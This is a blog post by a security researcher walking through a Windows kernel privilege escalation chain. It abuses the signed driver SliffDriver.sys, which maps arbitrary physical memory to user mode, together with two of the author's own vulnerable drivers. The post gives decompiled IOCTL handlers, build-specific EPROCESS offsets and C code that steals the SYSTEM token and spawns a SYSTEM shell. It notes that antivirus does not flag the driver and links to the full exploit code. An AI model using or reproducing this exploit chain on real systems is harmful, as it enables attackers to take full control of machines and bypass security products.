Applockerflter/SliffDriver.sys : Full Kernel Exploit Chain — From Driver Recon to SYSTEM Shell
1. What Even Is a Kernel Driver?

Applockerflter/SliffDriver.sys : Full Kernel Exploit Chain — From Driver Recon to SYSTEM Shell
1. What Even Is a Kernel Driver?
Before diving into the technical details and the vulnerability, we should understand what we’re actually attacking.
Windows runs in two privilege levels: user mode and kernel mode. Your browser, your games — they all run in user mode. The kernel itself, hardware drivers, and core OS components run in kernel mode, which has unrestricted access to every byte of physical memory on the machine.
Kernel driver ( a .sys files) is a bridge between user mode and hardware. It loads directly into kernel space and runs with the highest privilege on the system. User mode programs talk to drivers through a mechanism called IOCTLs (I/O Control ) — numbered function calls where you open a handle to the driver's device object, send an IOCTL code(like 0x222040) with an input buffer, and the driver processes it in kernel context and optionally writes back to an output buffer. Optionally, means the output buffer is not always required,it depends on the IOCTL.
This is why vulnerable drivers are so attractive. If a driver blindly trusts user-supplied data like a pointer, an address — and uses it in kernel context, you have a direct line or connection to kernel memory from an unprivileged process(normal exe).
Token stealing is the classic endgame for kernel exploits on Windows. To understand why it works, you need to understand the EPROCESS structure.
Every running process on Windows has a corresponding EPROCESS structure living in kernel memory. It is a large structure that the kernel uses to track everything about a process — its handles, its threads, its memory, and critically, its identity and privileges. A few fields are particularly relevant to this exploit:
**UniqueProcessId at offset 0x440** : This is simply the PID. It's how we identify which EPROCESS belongs to which process when walking the list.
**ActiveProcessLinks at offset 0x448** : This is a data Structure, a doubly-linked list node containing two pointers: Flink (forward link, pointing to the next entry) and Blink (backward link, pointing to the previous entry). The kernel keeps all running process EPROCESS structures chained together through this field in a circular doubly-linked list. The list is anchored at PsInitialSystemProcess — the SYSTEM process — which is why we start there. To get from an ActiveProcessLinks pointer back to the base of the EPROCESS, you subtract the field's offset (0x448) from the pointer value, since the list entry sits inside the structure rather than at its head.
**Token at offset 0x4B8**: This is a pointer to the process's security token with the low 4 bits repurposed as a reference count. The token determines everything the process is allowed to do — what files it can open, what privileges it holds, what objects it can access. The SYSTEM process (PID 4) holds the most privileged token on the machine.
One important detail about these offsets — 0x440 for UniqueProcessId, 0x448 for ActiveProcessLinks, 0x4B8 for Token — is that they are not constants. They are specific to a particular Windows build.
When Microsoft compiles the Windows kernel, the EPROCESS structure is compiled directly into ntoskrnl.exe at that point in time. The layout of the structure — the size of each field, the order they appear, the padding between them — gets baked into the binary. There is no runtime indirection, no lookup table. Every piece of kernel code that accesses EPROCESS fields does it via hardcoded offsets relative to the structure base, compiled in at build time. Once that kernel ships, those offsets are fixed for the lifetime of that build.
This means that the offsets can and do shift between Windows versions and even between updates. A Token offset that is 0x4B8 on Windows 10 22H2 may be different on Windows 11 23H2 . If you run a hardcoded exploit against the wrong build, you corrupt the wrong memory and crash the machine (BSOD) instead of stealing a token.
In practice there are two ways to handle this. The first is to hardcode a table of known offsets per build version and select the right one at runtime by reading the OS version. The second — cleaner for research purposes — is to resolve offsets dynamically at runtime using the _EPROCESS type information from public Microsoft symbols (PDB files), which ship for every kernel build and document the exact field layout. For this exploit the offsets were hardcoded and tested against a specific target build of Windows.
The token steal works by walking ActiveProcessLinks from SYSTEM through every process using Flink, reading UniqueProcessId at each node to find our own process, then copying SYSTEM's Token value into our own Token field. From that point Windows believes our process is SYSTEM and grants it full privileges.
These Offsets can easily be found using WinDbg

2. My Existing Research Drivers
Before finding SliffDriver, I had already exploited two drivers of my own as research projects(U can read them by checking my profile). When I found SliffDriver, I immediately recognized it as the missing piece that would complete a full privilege escalation chain when combined with what I already had.
WinNotify.sys — Kernel Read and KASLR Bypass
WinNotify is a driver that exposes two IOCTLs useful for kernel recon:
- IOCTL
0x222040— arbitrary kernel virtual memory read. Supply a base address and offset, get back 40 bytes of kernel memory. - IOCTL
0x22200C— module base resolver. Pass a module name (ntoskrnl.exe), get back its loaded base address. This defeats KASLR entirely.
Although this driver has read/write capabilities also but for helping the sliff driver , these two primitives handle the recon side of the chain — finding where things are in kernel memory and reading them.
FoxKeyDriv64.sys— VA→PA Translation
Fox is another driver(from my previous blog) that exposes many IOCTLS but for this research I only used this one IOCTL:
- IOCTL
0x2220C0— callsMmGetPhysicalAddresson a caller-supplied virtual address and returns the physical address.
This is needed because SliffDriver, as we’ll see, operates on physical addresses rather than virtual ones. Fox bridges the two.
3. SliffDriver — Signatures and VirusTotal


For the Winnotify and Fox driver :


Driver Signatures and BYOVD
Since Windows enforces Driver Signature Enforcement (DSE). Every .sys file loaded into kernel mode must carry a valid signature from a trusted certificate authority. This exists to prevent arbitrary unsigned code from running in the kernel.
The attack class that works around this is called BYOVD(Bring Your Own Vulnerable Driver). The premise is simple: find a driver that is legitimately signed and loads without complaint, but contains exploitable vulnerabilities in its IOCTL handlers. The driver isn’t malicious from Windows’ perspective — it has a real signature from a real vendor. But its logic is broken.
SliffDriver carries a valid signature. Windows loads it without any warning.
VirusTotal
Submitting SliffDriver to VirusTotal at time of discovery showed 0/72. This is typical for BYOVD targets — most AV engines look for behavioral malware patterns and don’t audit IOCTL handler logic in signed drivers.
4. Loading the Driver and Finding Its Device
Loading with OSR Driver Loader
To interact with a driver during research, it needs to be running. The standard tool for this is OSR Driver Loader, a free utility from OSR Online. It handles all the Service Control Manager plumbing — registering the driver as a service and starting it — without needing to write any code.

Since SliffDriver is legitimately signed, this works on any standard Windows installation with no special configuration needed.
Finding the Symbolic Link with WinObj
Drivers expose themselves to user mode through device objects with associated symbolic links — named entries in the Windows object namespace that user mode code can open with CreateFile. Without knowing the symbolic link name, you can't send any IOCTLs.
WinObj from Sysinternals lets you browse the Windows object namespace visually. After loading SliffDriver, navigating to GLOBALS? in WinObj reveals:

So this is the path we pass to CreateFile:
HANDLE hSL = CreateFileA("\\\\.\\SliffDriver",
GENERIC_READ | GENERIC_WRITE, 0, NULL,
OPEN_EXISTING, 0, NULL);
The \\\\.\\ prefix is the user-mode shorthand for \DosDevices. Once this call succeeds we have a handle and can start sending IOCTLs.
5. IOCTL Analysis — What SliffDriver Actually Does
With a handle open the next step is reverse engineering the driver to find what IOCTL codes it accepts and what it does with them. This is done through static analysis in Ghidra — load the .sys, find the dispatch routine, and follow the switch statement on the IOCTL code.
SliffDriver IOCTL 0x80002004 — The Vulnerability
Here is the decompiled handler:


case 0x80002004:
puVar1 = *(undefined8 **)(param_1 + 0x18); // User buffer
lVar2 = MmMapIoSpace(puVar1[1], *(DWORD*)(puVar1 + 3), 0);
lVar3 = IoAllocateMdl(lVar2, size, 0, 0, 0);
MmBuildMdlForNonPagedPool(lVar3);
uVar4 = MmMapLockedPages(lVar3, 1); // 1 = UserMode
*puVar1 = uVar4; // Return user-mode VA to caller
Let’s walk through exactly what each line does.
**param_1 + 0x18 : In a kernel IOCTL handler, param_1 is the IRP(Input Req Packet). Offset 0x18 into the current IRP stack location is the Type3InputBuffer field, used for METHOD_NEITHER IOCTLs. METHOD_NEITHER** is an I/O control (IOCTL) method in Windows driver development where the I/O Manager passes user-space memory pointers directly to the kernel driver
**MmMapIoSpace(puVar1[1], size, 0)** : This kernel API maps a physical address range into kernel virtual address space. It is normally used to map device memory registers (hence "IoSpace"). Here puVar1[1] is a 64-bit physical address read directly from the user buffer — completely controlled by us. The driver maps whatever physical address you supply.
**IoAllocateMdl + MmBuildMdlForNonPagedPool** : Creates and initializes a Memory Descriptor List , a kernel structure that describes a region of virtual memory in terms of its underlying physical pages
**IoAllocateMdl** Allocates an MDL structure for a given virtual address and length. It just creates the descriptor — it doesn't yet know which physical pages back that memory.
**MmBuildMdlForNonPagedPool**Fills in the MDL with the actual physical page information for non-paged pool memory (memory guaranteed to always be in RAM, never swapped out). After this call, it knows exactly which physical pages correspond to that virtual address.
After this, you’d typically call MmMapLockedPages to map those same physical pages into user space — giving user mode a window directly into kernel memory. That's exactly the primitive that makes drivers like SliffDriver exploitable.
**MmMapLockedPages(lVar3, 1) — This is the critical line. The second argument is 1, which corresponds to UserMode in the KPROCESSOR_MODE enum. This call maps the locked pages into the calling process's user-mode address space** and returns a user-mode virtual address.
***puVar1 = uVar4** — The user-mode virtual address is written back to the caller's buffer.
The result is that the caller supplies a physical address, and gets back a normal user-mode pointer that directly backs that physical memory. From that point forward, no more IOCTLs are needed — reading or writing through that pointer reads or writes physical kernel memory directly.
Input buffer structure:
Offset 0x08 [8 bytes] physical address to map
Offset 0x18 [4 bytes] size in bytes
Output buffer:
Offset 0x00 [8 bytes] user-mode virtual address mapping that physical memory
Why is this vulnerable: Physical memory is the ground truth of the entire system. Virtual address spaces, process isolation, privilege levels — everything sits on top of physical memory. A process that can read and write arbitrary physical memory can do anything: steal tokens, patch kernel code, disable Protected Process Light, bypass any security product on the machine. SliffDriver hands this capability to any unprivileged caller with no privilege check, no access control, nothing.
6. My Two Research IOCTLs — How They Help the Exploit
WinNotify IOCTL 0x222040 — Arbitrary Kernel Read

case 0x222040:
plVar6 = *(longlong **)(param_2 + 0x18);
lVar7 = plVar6[1]; // offset (user-controlled)
lVar8 = *plVar6; // base (user-controlled)
if (*(longlong *)(lVar7 + 0x10 + lVar8) != 0) {
plVar6[2] = *(longlong *)(lVar7 + 0x10 + lVar8);
plVar6[3] = *(longlong *)(lVar7 + 0x18 + lVar8);
plVar6[4] = *(longlong *)(lVar7 + 0x20 + lVar8);
plVar6[5] = *(longlong *)(lVar7 + 0x28 + lVar8);
plVar6[6] = *(longlong *)(lVar7 + 0x30 + lVar8);
}
Accepts a base address and offset, reads 5 QWORDs from base + offset + 0x10 and writes them back to the user buffer. No validation on the address — supply any kernel virtual address and read 40 bytes from it.
Input:
Offset 0x00 [8 bytes] base kernel virtual address
Offset 0x08 [8 bytes] offset added to base
Output (written back into same buffer):
Offset 0x10–0x30 [5 × 8 bytes] kernel memory contents
We wrap this into a clean ReadQWORD helper accounting for the internal +0x10 the driver adds:
DWORD64 ReadQWORD(DWORD64 addr) {
DWORD64 vals[5];
KernelRead040(addr - 0x10, 0, vals);
return vals[2];
}
WinNotify IOCTL 0x22200C — KASLR Bypass

The IOCTL

Walk Each module entry

Function to retrive snapshot
case 0x22200C:
puVar5 = *(undefined8 **)(param_2 + 0x18);
uVar14 = FUN_1400016d8((char *)*puVar5);
puVar5[2] = uVar14;
ulonglong FUN_1400016d8(char *param_1) // param_1 = "ntoskrnl.exe" from user
{
puVar2 = (uint *)FUN_1400017c8(0xb); // retrieve module list snapshot
// Walk each module entry
do {
// Get module name from list entry
pcVar5 = (char *)((ulonglong)*(ushort *)((longlong)puVar6 + 0x26) +
0x28 + (longlong)puVar6);
// Case-insensitive string comparison with user-supplied name
if (uVar8 == uVar11) { // lengths match
// ... compare characters ...
uVar4 = *(ulonglong *)(puVar6 + 4); // return module base
break;
}
puVar6 = puVar6 + 0x4a;
} while (uVar12 < *puVar2);
ExFreePoolWithTag(puVar2, 0);
return uVar4;
}
Pass a module name string, get back its loaded kernel base address. Internally walks PsLoadedModuleList. Defeats KASLR completely — passing "ntoskrnl.exe" returns the exact address ntoskrnl loaded at on this boot.
Input:
Offset 0x00 [8 bytes] pointer to module name string
Output:
Offset 0x10 [8 bytes] module base virtual address
Fox_FOXONE_Driver IOCTL 0x2220C0 — VA→PA

case 0x2220C0:
puVar6 = *(undefined8 **)(param_2 + 0x18);
uVar12 = MmGetPhysicalAddress(*puVar6);
*puVar6 = uVar12;
Calls MmGetPhysicalAddress on a caller-supplied virtual address and returns the physical address. This bridges the gap between WinNotify (which gives us virtual addresses from kernel reads) and SliffDriver (which needs physical addresses to map).
Input/Output:
Offset 0x00 [8 bytes] virtual address IN → physical address OUT
7. The Exploit :
With all four primitives understood, here is how they chain together.
Defeat KASLR
Call WinNotify’s module resolver to get the ntoskrnl base:
g_kernelVA = GetKernelBase();
// e.g. 0xFFFFF80012A00000
Locate SYSTEM EPROCESS
PsInitialSystemProcess is a pointer in ntoskrnl pointing to the SYSTEM process EPROCESS. Its offset from ntoskrnl base is obtainable from public symbols using WinDbg or PDB files. Here it was 0xCFC420 on Windows 10 22H2 build — this value changes per build, so in a real-world exploit you would resolve it dynamically at runtime rather than hardcoding it:

DWORD64 sysEprocVA = ReadQWORD(g_kernelVA + 0xCFC420);
Walk ActiveProcessLinks to Find Our EPROCESS
EPROCESS contains a doubly-linked list at offset 0x448 — ActiveProcessLinks — that chains every running process together. We walk FLINK entries reading UniqueProcessId at +0x440 until we find our own PID:
DWORD myPid = GetCurrentProcessId();
DWORD64 flink = ReadQWORD(sysEprocVA + 0x448);
DWORD64 current = flink - 0x448;
for (int i = 0; i < 1000; i++) {
DWORD64 pid = ReadQWORD(current + 0x440);
if ((DWORD)pid == myPid) { ourVA = current; break; }
DWORD64 next = ReadQWORD(current + 0x448);
if (next == flink || !next) break;
current = next - 0x448;
}
We now have both EPROCESS virtual addresses — SYSTEM and ours.
Translate Both to Physical Addresses
SliffDriver needs physical addresses, so we convert both through Fox:
DWORD64 sysEprocPA = VaToPa(sysEprocVA);
DWORD64 ourPA = VaToPa(ourVA);
Read SYSTEM Token via SliffDriver
Map the physical address of SYSTEM’s Token field (EPROCESS + 0x4B8) and read it. The Token field is an EX_FAST_REF — the low 4 bits are a reference count and must be masked off:
DWORD64 systemToken = ReadPhys64(sysEprocPA + 0x4B8);
DWORD64 cleanToken = systemToken & 0xFFFFFFFFFFFFFFF0ULL;
ReadPhys64 calls SliffDriver to map 8 bytes of physical memory and dereferences the returned pointer.
Overwrite Our Token via SliffDriver
Map our own token field physically and write the SYSTEM token value straight to it:
DWORD64 ourTokenVA = MapPhys(ourPA + 0x4B8, 8);
*(DWORD64*)ourTokenVA = cleanToken;
This write goes directly to physical memory. No kernel validation path runs. No callback fires. The write lands.
Spawn SYSTEM Shell
system("cmd.exe");
Our process now carries the SYSTEM token. The shell inherits it.
8. Ending words
Driver IOCTL Kernel API Primitive Origin WinNotify 0x222040 Direct dereference Arbitrary kernel virtual read My research driver WinNotify 0x22200C Module list walk KASLR bypass My research driver Fox 0x2220C0 MmGetPhysicalAddress VA→PA translation My research driver SliffDriver 0x80002004 MmMapIoSpace + MmMapLockedPages Arbitrary physical R/W .
Full Exploit Code on github:https://github.com/Haider303/sliff-driv-exploit/
Exploit running Demo:https://youtu.be/NZRLX9E_rc0
Remember to load all 3 drivers before running the exploit ByBy!
메타데이터
- post_id
- b57d87738308
- slug
- applockerflter-sliffdriver-sys-full-kernel-exploit-chain-from-driver-recon-to-system-shell-b57d87738308
- url
- https://medium.com/@haider303mustafa/applockerflter-sliffdriver-sys-full-kernel-exploit-chain-from-driver-recon-to-system-shell-b57d87738308
- canonical_url
- https://medium.com/@haider303mustafa/applockerflter-sliffdriver-sys-full-kernel-exploit-chain-from-driver-recon-to-system-shell-b57d87738308
- author_url
- https://medium.com/@haider303mustafa
- status
- ok
- fetched_at
- 2026-06-14 11:28:49